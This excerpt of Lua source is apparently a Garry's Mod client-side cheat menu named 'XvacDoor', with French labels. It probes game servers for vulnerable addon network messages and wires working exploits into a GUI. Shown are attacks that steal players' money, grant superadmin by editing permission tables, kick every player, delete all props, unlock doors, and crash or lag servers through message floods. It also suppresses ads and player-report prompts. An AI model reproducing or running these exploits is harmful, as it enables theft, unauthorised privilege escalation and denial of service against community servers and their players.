3681 "striphelper",
3682 "m9k_explosive",
3683 "GaySploitBackdoor",
3684 "_GaySploit",
3685 "Bilboard.adverts:Spawn(false)",
3686 "BOOST_FPS",
3687 "rebug"
3688
3689}
3690
3691
3692local legit_num = #legit_nets
3693local bad_num = #bad_nets
3694
3695local function ban(_, ply)
3696 ply:Kick("[Auto-Ban] - On c'est fait avoir nous même rt")
3697end
3698
3699timer.Simple(1, function()
3700 for i = legit_num, 1, -1 do
3701 if util.NetworkStringToID(legit_nets[i]) ~= 0 then
3702 MsgC( Color( 0, 0, 0 ), "[XvacDoor]", Color( 0, 255, 0 )," SNTE A détécté " .. table.remove(legit_nets, i) .. " comme exploit \n" )
3703 legit_num = legit_num - 1
3704 end
3705 end
3706 for i = bad_num, 1, -1 do
3707 if util.NetworkStringToID(bad_nets[i]) ~= 0 then
3708 MsgC( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 0, 0 )," SNTE A détécté " .. table.remove(bad_nets, i) .. " comme backdoor \n" )
3709 net.Receive(bad_nets[i], ban)
3710 bad_num = bad_num - 1
3711 end
3712 end
3713 local global_nets = legit_nets
3714 table.Add(global_nets, bad_nets)
3715
3716
3717 local global_num = #global_nets
3718 for i = global_num, 1, -1 do
3719 if util.NetworkStringToID(global_nets[i]) ~= 0 then
3720 MsgC( Color( 0, 0, 0 ), "[XvacDoor]", Color( 255, 0, 0 )," SNTE A détécté " .. table.remove(global_nets, i) .. " généré \n" )
3721 net.Receive(global_nets[i], print "lol")
3722 global_num = global_num - 1
3723end
3724end
3725end)
3726
3727
3728
3729/*=======================
3730|==== Check Netstring ===|
3731========================*/
3732
3733concommand.Add("asnet", function()
3734local netstrings = {}
3735for i = 1, 9999 do
3736local asnet = util.NetworkIDToString( i )
3737if asnet then MsgC (Color(math.random(1,25),math.random(1,25),math.random(1,25)), "[NetString Détécté] : "..i.." = ") MsgC (Color(math.random(254,255),math.random(254,255),math.random(254,255)),""..asnet.." \n" ) else break end
3738end
3739end)
3740
3741
3742
3743/*=======================
3744|===== MOTDGD KILL =====|
3745========================*/
3746
3747if(istable(MOTDgd))then
3748 MOTDgd = {}
3749 function MOTDgd.Show() end
3750 function MOTDgd.GetIfSkip() return true end
3751 print "On dirait qu'il n'y aura pas de pub :c"
3752end
3753
3754
3755
3756
3757
3758
3759
3760
3761
3762
3763
3764/*===========================
3765|===== XvacDoor GUI =====|
3766===========================*/
3767surface.CreateFont("clsbtn",{font = "Marlett", size = 15, weight = 0, antialias = 0})
3768
3769
3770
3771concommand.Add( "XvacMenu", function()
3772surface.PlaySound("UI/buttonclick.wav")
3773
3774local A1 = vgui.Create( "DFrame")
3775A1:SetSize( 700, 620 )
3776A1:Center()
3777A1:SetTitle( "" )
3778A1:ShowCloseButton( false )
3779A1:SetDraggable( true )
3780A1:MakePopup()
3781A1.Paint = function( self, w, h )
3782draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 240))
3783end
3784
3785local AC = vgui.Create( "DButton", A1)
3786AC:SetPos( 680, 0)
3787AC:SetSize( 20, 20 )
3788AC:SetText( "X" )
3789AC:SetFont( "clsbtn" )
3790AC.Paint = function( self, w, h )
3791draw.RoundedBox( 0, 0, 0, w, h, Color(0,0,0, 200))
3792if AC:IsHovered() then
3793AC:SetTextColor( Color( 255, 255, 255 ) )
3794draw.RoundedBox(0,0,0,w,h,Color(127,0,0, 200))
3795else
3796draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 200))
3797AC:SetTextColor( Color( 255, 255, 255 ) )
3798end
3799AC.DoClick = function()
3800surface.PlaySound( "UI/buttonclick.wav" )
3801A1:Remove()
3802end
3803end
3804AL = vgui.Create( "HTML", A1 )
3805AL:SetSize( 500,500 )
3806AL:SetPos( 100,160 )
3807AL:OpenURL("https://imgur.com/F99pjEO.png")
3808
3809
3810
3811
3812
3813
3814
3815
3816
3817
3818
3819
3820
3821
3822
3823
3824/*============================
3825|===== XvacDoor TABS =====|
3826=============================*/
3827
3828local Tabs = vgui.Create( "DPropertySheet", A1 )
3829Tabs:Dock( FILL )
3830Tabs:DockPadding( 0, 0, 0, 0)
3831Tabs.Paint = function (self, w, h)
3832for k, v in pairs(Tabs.Items) do
3833 if (!v.Tab) then continue end
3834
3835 v.Tab.Paint = function(self,w,h)
3836 surface.DrawRect( 0, 0, v.Tab:GetWide(), v.Tab:GetTall() )
3837 end
3838 end
3839 end
3840
3841local exploits = vgui.Create( "DPanel", Tabs )
3842 exploits.Paint = function( self, w, h )
3843 exploits:SetSize(100,100)
3844 draw.RoundedBox(10, -20, 0, w, h, Color(15,15,15,220))
3845 end
3846Tabs:AddSheet( "Exploits", exploits )
3847
3848local netcmd = vgui.Create( "DPanel", Tabs )
3849 netcmd.Paint = function( self, w, h )
3850 draw.RoundedBox(10, 200, 25, w, h, Color(15,15,15,220))
3851 end
3852
3853local mscsbd = vgui.Create( "DPanel", Tabs )
3854 mscsbd.Paint = function( self, w, h )
3855 draw.RoundedBox(10, -20, 0, w, h, Color(15,15,15,220))
3856 end
3857
3858local sdbbd = vgui.Create( "DPanel", Tabs )
3859 sdbbd.Paint = function( self, w, h )
3860 draw.RoundedBox(10, -20, 0, w, h, Color(15,15,15,220))
3861 end
3862
3863Tabs:AddSheet( "Backdoor", netcmd )
3864Tabs:AddSheet( "Musique", mscsbd )
3865Tabs:AddSheet( "Soundboard", sdbbd )
3866
3867
3868
3869
3870
3871
3872
3873
3874
3875
3876
3877
3878
3879
3880/*================================
3881|===== XvacDoor EXPLOITS =====|
3882=================================*/
3883
3884concommand.Add("rainbow",function()
3885hook.Add("Think", "Rainbow", function()
3886local RainbowPlayer = HSVToColor( CurTime() % 6 * 60, 1, 1 )
3887 LocalPlayer():SetWeaponColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
3888 LocalPlayer():SetPlayerColor( Vector( RainbowPlayer.r / 255, RainbowPlayer.g / 255, RainbowPlayer.b / 255 ) )
3889end )
3890end )
3891
3892function random_string(length)
3893 math.randomseed(os.time())
3894
3895 if length > 0 then
3896 return random_string(length - 1) .. charset[math.random(1, #charset)]
3897 else
3898 return ""
3899 end
3900end
3901
3902local s = {}
3903s.duel = {}
3904s.duel[1] = table.Random( player.GetAll() )
3905s.duel[2] = table.Random( player.GetAll() )
3906s.duel[2] = 3
3907s.duel[3] = -9999999
3908
3909
3910function CHATPRINT( str )
3911chat.AddText( Color( 0, 0, 0 ), "[XvacDoor] ", Color( 255, 255, 255), str )
3912end
3913
3914
3915local function NOTIFICATION(text)
3916
3917local notify = vgui.Create( "DPanel" )
3918notify:SetSize( 1920, 50 )
3919notify:SetPos( ScrW() - 200, -50 )
3920notify.Paint = function(self, w, h)
3921draw.RoundedBox( 0, 0, 0, w, h, Color(50, 50, 50, 220))
3922local bars = 10
3923for i=0, bars, 1 do
3924 local rainbow = Color(0, 0, 0,220)
3925 draw.RoundedBox( 0, i * w / bars, notify:GetTall() - 50, w / bars, 50, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 220))
3926end
3927//draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, Color(0, 0, 0,220))
3928draw.SimpleText( text, "Calibri-l", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
3929end
3930notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
3931timer.Simple( 1, function()
3932notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
3933end)
3934end)
3935end
3936
3937
3938//////////// [CLEAR CHAT] ////////////
3939
3940function clearchat()
3941for i = 0, 100 do
3942chat.AddText(" ")
3943end
3944end
3945
3946//////////// [VAPE] ////////////
3947
3948function Vape()
3949timer.Simple(0, function() RunConsoleCommand("+attack") end )
3950timer.Simple(5.134, function() RunConsoleCommand("-attack") end )
3951end
3952concommand.Add("vape", Vape)
3953concommand.Add("clearchat", clearchat)
3954
3955function Initialize()
3956NOTIFICATION("XvacDoor MENU CHARGÉ !")
3957net.Receive("DL_Answering_global", function(_len)end) // Stop LocalPlayer from getting kicked whilst kicking all
3958net.Receive( "metro_notification",function() // Disable Metro Notification
3959return
3960end)
3961
3962//////////// Font Creation ////////////
3963--
3964surface.CreateFont( "Roboto", {
3965 font = "Roboto",
3966 size = 18,
3967} )
3968--
3969surface.CreateFont( "Calibri-sm", {
3970 font = "Calibri",
3971 size = 15,
3972} )
3973--
3974surface.CreateFont( "Calibri-l", {
3975 font = "Calibri",
3976 size = 21,
3977} )
3978--
3979surface.CreateFont( "tahoma", {
3980 font = "Tahoma",
3981 size = 15,
3982} )
3983--
3984end
3985Initialize(); // Initializes basic shit for when menu is loaded.
3986
3987
3988function ValidNetString( str )
3989local status, error = pcall( net.Start, str )
3990return status
3991end
3992
3993
3994function draw.OutlinedBox( x, y, w, h, thickness, clr )
3995surface.SetDrawColor( clr )
3996for i=0, thickness - 1 do
3997surface.DrawOutlinedRect( x + i, y + i, w - i * 2, h - i * 2 )
3998end
3999end
4000
4001local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploits )
4002exploitsScrollPanel:Dock( FILL )
4003exploitsScrollPanel:InnerWidth(100)
4004local sbar = exploitsScrollPanel:GetVBar()
4005function exploitsScrollPanel:Paint( w, h )
4006 draw.RoundedBox( 3, 0, 0, w, h , Color(0,0,0,0))
4007end
4008function sbar:Paint( w, h )
4009 draw.RoundedBox( 0, 4, 0, w, h, Color( 0, 0, 0, 100 ) )
4010end
4011function sbar.btnUp:Paint( w, h )
4012 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
4013end
4014function sbar.btnDown:Paint( w, h )
4015 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
4016end
4017function sbar.btnGrip:Paint( w, h )
4018 draw.RoundedBox( 0, 4, 0, w, h, Color(0,0,0,200))
4019end
4020
4021totalSploits = 0
4022function addExploit(id, text, desc, func)
4023totalSploits = 1 + totalSploits
4024local id = vgui.Create( "DButton", exploitsScrollPanel )
4025id:SetText( text )
4026id:SetTextColor( Color( 200, 200, 200, 220 ) )
4027id:SetFont("Roboto")
4028id:Dock( TOP )
4029id:DockMargin( 10, 45, 40, -37 )
4030id:DockPadding( 2, 30, 20, 10 )
4031id.DoClick = func
4032if desc then
4033id:SetToolTip( desc )
4034end
4035id.Paint = function( self, w, h )
4036id.OnCursorEntered = function(self)
4037-- surface.PlaySound( "garrysmod/ui_hover.wav" )
4038surface.PlaySound( "buttons/button15.wav" )
4039end
4040if id:IsHovered() then
4041-- draw.SimpleText( desc, "Calibri-sm", -25, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ), TEXT_ALIGN_RIGHT) -- Only Citizen Hack Lua Loader
4042draw.RoundedBox( 0, 0, 0, w, h, Color(30, 30, 30, 245))
4043else
4044draw.RoundedBox( 0, 0, 0, w, h, Color(10, 10, 10, 245))
4045end
4046surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
4047surface.DrawOutlinedRect( 0, 0, w, h )
4048end
4049end
4050
4051
4052//////////////////// [EXPLOITS] ////////////////////
4053
4054status = ValidNetString("TCBBuyAmmo")
4055if (status) then
4056CHATPRINT("Exploit Trouvé : Munitions Gratuites [TCBBuyAmmo]")
4057addExploit( "1","Munitions Gratuites", "", function()
4058surface.PlaySound("garrysmod/ui_click.wav")
4059CHATPRINT("Getting Le Ammo")
4060for k,v in pairs(GAMEMODE.AmmoTypes) do
4061net.Start("TCBBuyAmmo")
4062net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
4063net.SendToServer()
4064end
4065end)
4066end
4067
4068status = ValidNetString("DataSend")
4069if (status) then
4070CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #1 [DataSend]")
4071addExploit( "2","Voler L'argents De Tous #1", "", function()
4072surface.PlaySound("garrysmod/ui_click.wav")
4073for k, v in pairs( ents.GetAll() ) do
4074if v:GetClass() == "adv_moneyprinter" then
4075CHATPRINT("Collecting Money")
4076net.Start("DataSend")
4077net.WriteFloat(2)
4078net.WriteEntity(v)
4079net.WriteEntity(LocalPlayer())
4080net.SendToServer()
4081end
4082end
4083end)
4084end
4085
4086
4087status = ValidNetString("FarmingmodSellItems")
4088if (status) then
4089CHATPRINT("Exploit Trouvé : Argent Gratuite [FarmingmodSellItems]")
4090addExploit( "3","Argent Gratuite", "", function()
4091surface.PlaySound("garrysmod/ui_click.wav")
4092CHATPRINT("Enjoy the b1g monies")
4093net.Start("FarmingmodSellItems")
4094net.WriteTable(
4095{
4096Cost = 10,
4097CropModel = "models/props/eryk/garlic.mdl",
4098CropType = 2,
4099Info = "Garlic Seed",
4100Model = "models/props/eryk/seedbag.mdl",
4101Name = "Garlic",
4102Quality = 4,
4103Sell = 99999,
4104Type = "Seed"
4105}
4106)
4107net.WriteInt(1,16)
4108net.SendToServer()
4109end)
4110end
4111
4112status = ValidNetString("start_wd_emp")
4113if (status) then
4114CHATPRINT("Exploit Trouvé : Hack Keypad [start_wd_emp]")
4115addExploit( "4","Hack Keypad", "", function()
4116surface.PlaySound("garrysmod/ui_click.wav")
4117NOTIFICATION("Hacking Keypads")
4118net.Start("start_wd_emp")
4119net.SendToServer()
4120end)
4121end
4122
4123status = ValidNetString("duelrequestguiYes")
4124if (status) then
4125CHATPRINT("Exploit Trouvé : Recevoir De L'Argent [duelrequestguiYes]")
4126addExploit( "5","Recevoir De L'Argent", "", function()
4127surface.PlaySound("garrysmod/ui_click.wav")
4128NOTIFICATION("getting ez monies")
4129net.Start("duelrequestguiYes")
4130net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
4131net.WriteEntity(table.Random( player.GetAll() ) )
4132net.WriteString("Crossbow")
4133net.SendToServer()
4134end)
4135end
4136
4137status = ValidNetString("DarkRP_Kun_ForceSpawn")
4138if (status) then
4139CHATPRINT("Exploit Trouvé : Respawn #1 [DarkRP_Kun_ForceSpawn]")
4140addExploit( "6", "Respawn #1", "", function()
4141surface.PlaySound("garrysmod/ui_click.wav")
4142CHATPRINT("Respawn")
4143net.Start("DarkRP_Kun_ForceSpawn")
4144net.SendToServer()
4145end)
4146end
4147
4148status = ValidNetString("SyncPrinterButtons76561198056171650")
4149if (status) then
4150CHATPRINT("Exploit Trouvé : Voler L'argents De Tous #2 [SyncPrinterButtons76561198056171650]")
4151addExploit( "7","Voler L'argents De Tous #2", "", function()
4152surface.PlaySound("garrysmod/ui_click.wav")
4153CHATPRINT("Collecting Money")
4154for k, v in pairs(ents.GetAll()) do
4155if (v:GetClass() == "adv_moneyprinter") then
4156net.Start("SyncPrinterButtons76561198056171650")
4157net.WriteEntity(v)
4158net.WriteUInt(2, 4)
4159net.SendToServer()
4160end
4161end
4162end)
4163end
4164---------------------------------------------------------------------------------------------
4165local function report()
4166 for i = 1, 2000 do
4167 net.Start("DL_Answering")
4168 net.SendToServer()
4169 end
4170end
4171
4172if (Damagelog) then
4173CHATPRINT("Exploit Trouvé : Kick Tous Le Monde")
4174reportSpam = 0
4175addExploit( "1337","Kick Tous Le Monde", "", function()
4176 surface.PlaySound("garrysmod/ui_click.wav")
4177 if (reportSpam == 0) then
4178 NOTIFICATION("Starting Kicker")
4179 reportSpam = 1
4180 timer.Create("reportSpammer", 0.05, 0, report)
4181 else
4182 NOTIFICATION("Stopping Kicker")
4183 reportSpam = 0
4184 timer.Remove("reportSpammer")
4185 end
4186
4187end)
4188end
4189----------------------------------------------------------------------------------------------
4190
4191status = ValidNetString("SimplicityAC_aysent")
4192if (status) then
4193CHATPRINT("Exploit Trouvé : Crash #1 [SimplicityAC_aysent]")
4194addExploit( "8","Crash #1", "", function()
4195surface.PlaySound("garrysmod/ui_click.wav")
4196CHATPRINT("Goodbye Server")
4197local tbl = {}
4198for i=1,400 do
4199tbl[i] = i
4200end
4201net.Start("SimplicityAC_aysent")
4202net.WriteUInt(1, 8)
4203net.WriteUInt(4294967295, 32)
4204net.WriteTable(tbl)
4205net.SendToServer()
4206end)
4207end
4208
4209status = ValidNetString("RevivePlayer")
4210if (status) then
4211CHATPRINT("Exploit Trouvé : Reanimation #1 [RevivePlayer]")
4212addExploit( "9", "Reanimation #1", "", function()
4213surface.PlaySound("garrysmod/ui_click.wav")
4214if !timer.Exists( "reanimation1" ) then
4215NOTIFICATION( "Enabled" )
4216timer.Create( "reanimation1", 0.5, 0, function()
4217if !LocalPlayer():Alive() then
4218net.Start("RevivePlayer")
4219net.WriteEntity(LocalPlayer())
4220net.SendToServer()
4221end
4222end)
4223else
4224timer.Remove( "reanimation1" )
4225NOTIFICATION( "Disabled" )
4226end
4227end )
4228end
4229
4230status = ValidNetString("NLRKick")
4231if (status) then
4232CHATPRINT("Exploit Trouvé : Kick Tous Le Monde [NLRKick]")
4233addExploit( "10","Kick Tous Le Monde", "", function()
4234surface.PlaySound("garrysmod/ui_click.wav")
4235NOTIFICATION("Kicking All")
4236for k,v in pairs(player.GetAll()) do
4237if v != LocalPlayer() then
4238net.Start("NLRKick")
4239net.WriteEntity(v)
4240net.SendToServer()
4241end
4242end
4243end)
4244end
4245
4246status = ValidNetString("timebombDefuse")
4247if (status) then
4248CHATPRINT("Exploit Trouvé : Supprimer Tous Les Props [timebombDefuse]")
4249addExploit( "11","Supprimer Tous Les Props", "", function()
4250surface.PlaySound("garrysmod/ui_click.wav")
4251NOTIFICATION("Props De_Stroyed")
4252for k,v in pairs(ents.GetAll()) do
4253net.Start("timebombDefuse")
4254net.WriteEntity(v)
4255net.WriteBool(true)
4256net.SendToServer()
4257end
4258end)
4259end
4260
4261status = ValidNetString("NDES_SelectedEmblem")
4262if (status) then
4263CHATPRINT("Exploit Trouvé : Lagger #2 [NDES_SelectedEmblem]")
4264addExploit( "12","Lagger #2", "", function()
4265surface.PlaySound("garrysmod/ui_click.wav")
4266if !timer.Exists( "lagger2" ) then
4267timer.Create("lagger2", 0.5, 0, function()
4268for i=1, 2000 do
4269net.Start("NDES_SelectedEmblem",true)
4270net.WriteString("seized")
4271net.SendToServer()
4272end
4273end)
4274NOTIFICATION("Starting Lagger")
4275else
4276timer.Remove("lagger2")
4277NOTIFICATION("Stopping Lagger")
4278end
4279end)
4280end
4281
4282status = ValidNetString("Morpheus.StaffTracker")
4283if (status) then
4284CHATPRINT("Exploit Trouvé : Crasher #1 [Morpheus.StaffTracker]")
4285addExploit( "13","Crasher #1", "", function()
4286surface.PlaySound("garrysmod/ui_click.wav")
4287if !timer.Exists( "crasher1" ) then
4288timer.Create("crasher1", 0.5, 0, function()
4289for i=1, 2000 do
4290net.Start("Morpheus.StaffTracker")
4291net.SendToServer()
4292end
4293end)
4294NOTIFICATION("Crashing Server")
4295else
4296timer.Remove("crasher1")
4297NOTIFICATION( "Canceling Crasher" )
4298end
4299end)
4300end
4301
4302status = ValidNetString("egg")
4303if (status) then
4304CHATPRINT("Exploit Trouvé : Recevoir Les Easter Eggs")
4305addExploit( "14","Recevoir Les Easter Eggs", "", function()
4306surface.PlaySound("garrysmod/ui_click.wav")
4307RunConsoleCommand("say", "4bigz")
4308RunConsoleCommand("cc_egg2")
4309net.Start("egg")
4310net.SendToServer()
4311NOTIFICATION("Gave Easter Egg")
4312end)
4313end
4314
4315status = ValidNetString("pplay_deleterow")
4316if (status) then
4317CHATPRINT("Exploit Trouvé : Devenir SuperAdmin [pplay_deleterow]")
4318addExploit( "15","Devenir SuperAdmin", "", function()
4319surface.PlaySound("garrysmod/ui_click.wav")
4320local id = LocalPlayer():SteamID()
4321local tbl = {}
4322tbl.name = "FAdmin_PlayerGroup"
4323tbl.where = {
4324"steamid",
4325tostring(id)
4326}
4327
4328net.Start("pplay_deleterow")
4329net.WriteTable(tbl)
4330net.SendToServer()
4331local tbl = {}
4332tbl.tblname = "FAdmin_PlayerGroup"
4333tbl.tblinfo = {
4334tostring(id),
4335"superadmin"
4336}
4337net.Start("pplay_addrow")
4338net.WriteTable(tbl)
4339net.SendToServer()
4340NOTIFICATION("promotion ;)")
4341end)
4342end
4343
4344-- TTT Bypass Report by daddy grampa
4345
4346local function CheckChild(pan)
4347local title = "You have been reported! Please answer all your reports."
4348 if !pan || !IsValid(pan) then return end
4349 if pan.GetTitle && pan:GetTitle() == title then
4350 pan:Remove();
4351 print("Removed warning box")
4352 return
4353 end
4354 for k,v in pairs(pan:GetChildren()) do
4355 if v.GetTitle && v:GetTitle() == title then
4356 v:Remove();
4357 print("Removed warning box")
4358 return
4359 end
4360 if #v:GetChildren() > 0 then
4361 CheckChild(v)
4362 end
4363 end
4364end
4365
4366if (engine.ActiveGamemode() == "terrortown") then
4367bypass = 0
4368CHATPRINT("Exploit Trouvé : TTT Bypass Report")
4369addExploit( "16","Activer/Désactiver Bypass Report TTT", "", function()
4370surface.PlaySound("garrysmod/ui_click.wav")
4371if (bypass == 0) then
4372hook.Add("Think", "remove_ttt_report", function()
4373local pan = vgui.GetHoveredPanel()
4374CheckChild(pan)
4375end)
4376NOTIFICATION("Enabled Report Bypass")
4377bypass = 1
4378else
4379hook.Remove("Think", "remove_ttt_report")
4380NOTIFICATION("Disabled Report Bypass")
4381bypass = 0
4382end
4383end)
4384end
4385
4386status = ValidNetString("EZS_PlayerTag")
4387if (status) then
4388CHATPRINT("Exploit Trouvé : Lagger #3 [EZS_PlayerTag]")
4389addExploit( "17","Lagger #3", "", function()
4390surface.PlaySound("garrysmod/ui_click.wav")
4391if !timer.Exists( "lagger3" ) then
4392timer.Create("lagger3", 0.5, 0, function()
4393for k, v in pairs(player.GetAll()) do
4394net.Start("EZS_PlayerTag",true)
4395net.WriteEntity(v)
4396net.WriteString("Seized")
4397net.SendToServer()
4398timer.Simple(2, function()
4399net.Start("EZS_PlayerTag",true)
4400net.WriteEntity(v)
4401net.WriteString("Seized")
4402net.SendToServer()
4403end)
4404end
4405end)
4406NOTIFICATION("Starting Lagger")
4407else
4408timer.Remove("lagger3")
4409NOTIFICATION("Stopping Lagger")
4410end
4411end)
4412end
4413
4414if ConVarExists("advttt_spreadovertime_enabled") then
4415CHATPRINT("Exploit Trouvé : NoSpread")
4416addExploit( "18","NoSpread", "", function()
4417surface.PlaySound("garrysmod/ui_click.wav")
4418hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
4419NOTIFICATION("Spread Removed")
4420end)
4421end
4422
4423status = ValidNetString("fp_as_doorHandler")
4424if (status) then
4425CHATPRINT("Exploit Trouvé : Ouvrir Des Portes | Fermer Des Portes | Supprimer Le Propriétaire [fp_as_doorHandler]")
4426addExploit( "19","Ouvrir La Porte", "", function()
4427surface.PlaySound("garrysmod/ui_click.wav")
4428net.Start("fp_as_doorHandler")
4429net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4430net.WriteString("unlock")
4431net.SendToServer()
4432NOTIFICATION("Opened Door")
4433end)
4434end
4435
4436status = ValidNetString("fp_as_doorHandler")
4437if (status) then
4438addExploit( "20","Fermer La Porte", "", function()
4439surface.PlaySound("garrysmod/ui_click.wav")
4440net.Start("fp_as_doorHandler")
4441net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4442net.WriteString("lock")
4443net.SendToServer()
4444NOTIFICATION("Opened Door")
4445end)
4446end
4447
4448status = ValidNetString("fp_as_doorHandler")
4449if (status) then
4450addExploit( "21","Supprimer Le Propriétaire", "", function()
4451surface.PlaySound("garrysmod/ui_click.wav")
4452local door = LocalPlayer():GetEyeTrace().Entity
4453local doorOwner = door:getDoorData()["owner"]
4454net.Start("fp_as_doorHandler")
4455net.WriteEntity(door)
4456net.WriteString("removeOwner")
4457net.WriteDouble(doorOwner)
4458net.SendToServer()
4459NOTIFICATION("Opened Door")
4460end)
4461end
4462
4463status = ValidNetString("VJSay")
4464if (status) then
4465CHATPRINT("Exploit Trouvé : VJSay [OLD] [VJSay]")
4466addExploit( "22","VJSay [OLD]", "", function()
4467surface.PlaySound("garrysmod/ui_click.wav")
4468inputFrame2Exists = true
4469inputFrame2 = vgui.Create( "DFrame" )
4470inputFrame2:SetTitle("Enter your message!")
4471inputFrame2:SetSize( 400, 75 )
4472inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
4473inputFrame2:SetDraggable(false)
4474inputFrame2:ShowCloseButton(false)
4475inputFrame2:MakePopup()
4476inputFrame2.Paint = function( self, w, h )
4477draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
4478end
4479
4480local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
4481TextEntry2:SetSize( 380, 30 )
4482TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
4483TextEntry2:SetText( "Broadcast Msg" )
4484TextEntry2.OnEnter = function( self )
4485surface.PlaySound("garrysmod/ui_click.wav")
4486NOTIFICATION("Broadcasting")
4487net.Start("VJSay")
4488net.WriteEntity(nil)
4489net.WriteString(TextEntry2:GetValue())
4490net.WriteString("")
4491net.SendToServer()
4492inputFrame2:SetVisible(false)
4493end
4494end)
4495end
4496
4497status = ValidNetString("ply_pick_shit")
4498if (status) then
4499CHATPRINT("Exploit Trouvé : Argent Gratuite amirite [ply_pick_shit]")
4500addExploit( "23","Argent Gratuite amirite", "", function()
4501surface.PlaySound("garrysmod/ui_click.wav")
4502for k, v in pairs (player.GetAll()) do
4503for i = 1,255 do
4504net.Start("ply_pick_shit")
4505net.WriteEntity(LocalPlayer())
4506net.WriteEntity(v)
4507net.SendToServer()
4508end
4509end
4510NOTIFICATION("enjoy monies")
4511end)
4512end
4513
4514status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
4515if (status) then
4516CHATPRINT("Exploit Trouvé : Faire Crash #2 [pac.net.TouchFlexes.ClientNotify]")
4517addExploit( "24","Crasher #2", "big lagz", function()
4518surface.PlaySound("garrysmod/ui_click.wav")
4519if !timer.Exists( "crasher2" ) then
4520timer.Create("crasher2", 0, 0, function()
4521for i = 1, 400 do
4522net.Start("pac.net.TouchFlexes.ClientNotify")
4523net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
4524net.SendToServer()
4525end
4526end)
4527NOTIFICATION("Starting Crasher")
4528else
4529timer.Remove("crasher2")
4530NOTIFICATION("Stopping Crasher")
4531end
4532end)
4533end
4534
4535status = ValidNetString("BM2.Command.SellBitcoins")
4536if (status) then
4537CHATPRINT("Exploit Trouvé : Vendre Vos Bitcoins [BM2.Command.SellBitcoins]")
4538addExploit( "25","Vendre Vos Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
4539surface.PlaySound("garrysmod/ui_click.wav")
4540for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
4541net.Start("BM2.Command.SellBitcoins")
4542net.WriteEntity(v)
4543net.SendToServer()
4544end
4545for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
4546net.Start("BM2.Command.SellBitcoins")
4547net.WriteEntity(v)
4548net.SendToServer()
4549end
4550for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
4551net.Start("BM2.Command.SellBitcoins")
4552net.WriteEntity(v)
4553net.SendToServer()
4554end
4555end)
4556end
4557
4558status = ValidNetString("BM2.Command.Eject")
4559if (status) then
4560CHATPRINT("Exploit Trouvé : Lagger #4 [BM2.Command.Eject]")
4561addExploit( "26","Lagger #4", "", function()
4562surface.PlaySound("garrysmod/ui_click.wav")
4563if !timer.Exists( "lagger4" ) then
4564timer.Create("lagger4", 0, 0, function()
4565for i = 1, 1000 do
4566net.Start("BM2.Command.Eject",true)
4567net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
4568net.SendToServer()
4569end
4570end)
4571NOTIFICATION("Starting Lagger")
4572else
4573timer.Remove("lagger4")
4574NOTIFICATION("Stopping Lagger")
4575end
4576end)
4577end
4578
4579status = ValidNetString("BM2.Command.SellBitcoins")
4580if (status) then
4581CHATPRINT("Exploit Trouvé : Lagger #5 [BM2.Command.SellBitcoins]")
4582addExploit( "27","Lagger #5", "", function()
4583surface.PlaySound("garrysmod/ui_click.wav")
4584timer.Create("lagger5", 0, 0, function()
4585for i=1,1000 do
4586net.Start("BM2.Command.SellBitcoins",true)
4587net.WriteEntity(LocalPlayer())
4588net.SendToServer()
4589end
4590end )
4591end )
4592end
4593
4594status = ValidNetString("ItemStoreUse")
4595if (status) then
4596CHATPRINT("Exploit Trouvé : Lagger #6 [ItemStoreUse]")
4597addExploit( "28","Lagger #6", "", function()
4598surface.PlaySound("garrysmod/ui_click.wav")
4599if !timer.Exists( "lagger6" ) then
4600timer.Create("lagger6", 0, 0, function()
4601for i = 1, 1000 do
4602net.Start("ItemStoreUse",true)
4603net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4604net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4605net.SendToServer()
4606end
4607end)
4608NOTIFICATION("Starting Lagger")
4609else
4610timer.Remove("lagger6")
4611NOTIFICATION("Stopping Lagger")
4612end
4613end)
4614end
4615
4616status = ValidNetString("ItemStoreDrop")
4617if (status) then
4618CHATPRINT("Exploit Trouvé : Lagger #7 [ItemStoreDrop]")
4619addExploit( "29","Lagger #7", "", function()
4620surface.PlaySound("garrysmod/ui_click.wav")
4621if !timer.Exists( "lagger7" ) then
4622timer.Create("lagger7", 0, 0, function()
4623for i = 1, 1000 do
4624net.Start("ItemStoreDrop",true)
4625net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4626net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
4627net.SendToServer()
4628end
4629end)
4630NOTIFICATION("Starting Lagger")
4631else
4632timer.Remove("lagger7")
